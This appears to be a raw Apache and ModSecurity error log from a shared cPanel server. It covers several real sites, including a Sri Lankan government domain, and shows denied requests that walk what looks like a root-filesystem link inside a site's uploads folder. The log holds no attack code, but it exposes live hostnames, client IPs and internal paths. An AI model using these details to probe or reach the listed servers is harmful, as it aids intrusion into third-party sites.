[Fri Jul 17 07:54:50.792630 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:54896] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:51.641972 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/cpu1/node0/compact
[Fri Jul 17 07:54:53.084896 2026] [security2:error] [pid 1993659:tid 1993659] [client 47.128.48.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/bash-completion/bash_completion"] [unique_id "almSdZOFLENLI63GGOED_gAAAAQ"]
[Fri Jul 17 07:54:53.084957 2026] [security2:error] [pid 1993659:tid 1993659] [client 47.128.48.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/bash-completion/bash_completion"] [unique_id "almSdZOFLENLI63GGOED_gAAAAQ"]
[Fri Jul 17 07:54:54.822572 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:53936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:55.211358 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:53952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:55.629442 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:54000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:56.332149 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:54022] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:57.554838 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:54076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:58.921235 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:54138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:00.682845 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 47.82.13.203:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:14/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 07:55:00.870628 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:01.304024 2026] [ssl:error] [pid 1993572:tid 1993572] (5)Input/output error: [client 66.85.158.91:33228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:01.338829 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:33242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:02.181845 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:03.429140 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:03.934923 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/"] [unique_id "almSf0hq6UAnqYko0LpQVwAAABE"]
[Fri Jul 17 07:55:03.935325 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/"] [unique_id "almSf0hq6UAnqYko0LpQVwAAABE"]
[Fri Jul 17 07:55:04.335825 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/stack
[Fri Jul 17 07:55:04.511381 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:04.652886 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almSf0hq6UAnqYko0LpQVwAAABE"]
[Fri Jul 17 07:55:04.876868 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:05.786954 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/mice/subsystem/input6/device/driver/bind
[Fri Jul 17 07:55:05.972782 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:08.160349 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:08.794348 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:08.796140 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:08.853241 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:08.886352 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:08.995722 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.039857 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.129825 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.222515 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.311566 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.402097 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.583596 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:09.884663 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:10.495581 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:10.608516 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:10.768302 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:10.859429 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:11.321637 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:12.045251 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:13.399509 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almSiQG5-NXx3Mem1QgH7wAAAA8"]
[Fri Jul 17 07:55:13.400651 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almSiQG5-NXx3Mem1QgH7wAAAA8"]
[Fri Jul 17 07:55:13.401082 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almSiQG5-NXx3Mem1QgH7wAAAA8"]
[Fri Jul 17 07:55:13.544306 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:59946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:14.268438 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:15.288634 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:16.683732 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:60038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:17.305674 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almSjEhq6UAnqYko0LpQYgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1154&page_105=1745
[Fri Jul 17 07:55:17.305715 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almSjEhq6UAnqYko0LpQYgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1154&page_105=1745
[Fri Jul 17 07:55:18.521031 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:18.614618 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:18.833982 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almSjhAi3pC6yjXGNq12twAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1023&page_105=2325
[Fri Jul 17 07:55:18.834014 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almSjhAi3pC6yjXGNq12twAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1023&page_105=2325
[Fri Jul 17 07:55:18.858963 2026] [security2:error] [pid 1994446:tid 1994446] [client 150.228.197.34:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almSjl2NhE8i6ppze4engwAAAAs"]
[Fri Jul 17 07:55:18.859000 2026] [security2:error] [pid 1994446:tid 1994446] [client 150.228.197.34:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almSjl2NhE8i6ppze4engwAAAAs"]
[Fri Jul 17 07:55:18.899616 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almSdQ5GPQ6hs4VrfMo3egAAAAY"]
[Fri Jul 17 07:55:18.899649 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almSdQ5GPQ6hs4VrfMo3egAAAAY"]
[Fri Jul 17 07:55:19.073148 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:19.252577 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:19.635448 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:60080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:20.870791 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:20.911347 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:21.121134 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/alt-php54-eaccelerator/COPYING"] [unique_id "almSkVxP5-SsqbGuGB2eNgAAAAA"]
[Fri Jul 17 07:55:21.121158 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/alt-php54-eaccelerator/COPYING"] [unique_id "almSkVxP5-SsqbGuGB2eNgAAAAA"]
[Fri Jul 17 07:55:21.581298 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:22.233756 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:22.233937 2026] [core:crit] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/opt/cloudlinux/alt-php-internal/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/opt/cloudlinux/alt-php-internal/root/' is executable
[Fri Jul 17 07:55:22.309678 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:22.309787 2026] [core:crit] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/opt/cloudlinux/alt-php-internal/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/opt/cloudlinux/alt-php-internal/root/' is executable
[Fri Jul 17 07:55:22.606801 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:22.615503 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.82.14.38:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:3/subsystem/card0/hwC0D0/clear
[Fri Jul 17 07:55:23.589520 2026] [security2:error] [pid 1993572:tid 1993572] [client 66.249.64.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/en_6401f2ad7719f_esummary-june_2022.pdf"] [unique_id "almSk4l9vhFBGA6D8l9wIgAAAAw"]
[Fri Jul 17 07:55:23.589583 2026] [security2:error] [pid 1993572:tid 1993572] [client 66.249.64.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/en_6401f2ad7719f_esummary-june_2022.pdf"] [unique_id "almSk4l9vhFBGA6D8l9wIgAAAAw"]
[Fri Jul 17 07:55:23.915172 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:23.983650 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:24.232446 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:24.497278 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:24.677530 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:24.860668 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:25.122678 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:25.406661 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:25.476989 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:25.550836 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:25.559533 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.13.47:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:10/subsystem/ttyS1/subsystem/ttyS2/"] [unique_id "almSlY1dLClkUfK_dfHakAAAAAI"]
[Fri Jul 17 07:55:25.559579 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.13.47:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:10/subsystem/ttyS1/subsystem/ttyS2/"] [unique_id "almSlY1dLClkUfK_dfHakAAAAAI"]
[Fri Jul 17 07:55:25.565170 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:25.653810 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:25.769805 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.136455 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/event5/subsystem/input1/device/driver/bind
[Fri Jul 17 07:55:26.231747 2026] [proxy_fcgi:error] [pid 1993998:tid 1993998] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:26.318395 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:26.718956 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.751601 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.863569 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.863642 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.863670 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.863715 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.863737 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.863769 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:26.934990 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:26.942996 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:47390] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:27.019297 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:27.139226 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/event1/subsystem/input5/device/driver/bind
[Fri Jul 17 07:55:27.188495 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:27.404481 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:27.409657 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:0/driver/bind
[Fri Jul 17 07:55:27.593015 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:27.893614 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:27.978400 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:28.086418 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:28.230007 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:28.318018 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:28.339486 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:28.351998 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:28.404920 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:28.542225 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:28.597465 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/vesa-framebuffer/bind
[Fri Jul 17 07:55:28.801322 2026] [proxy_fcgi:error] [pid 1994446:tid 1994446] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:29.112670 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:29.247564 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:29.681672 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:30.047792 2026] [proxy_fcgi:error] [pid 1994956:tid 1994956] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:30.132280 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:30.228030 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:30.408509 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:30.542069 2026] [proxy_fcgi:error] [pid 1993998:tid 1993998] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:30.683903 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:31.166713 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:31.341256 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:31.466660 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:31.908995 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:32.014672 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:32.087421 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:32.244726 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:32.364797 2026] [proxy_fcgi:error] [pid 1994446:tid 1994446] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:32.453961 2026] [proxy_fcgi:error] [pid 1994956:tid 1994956] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:32.810941 2026] [proxy_fcgi:error] [pid 1993998:tid 1993998] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:33.326169 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:33.337550 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
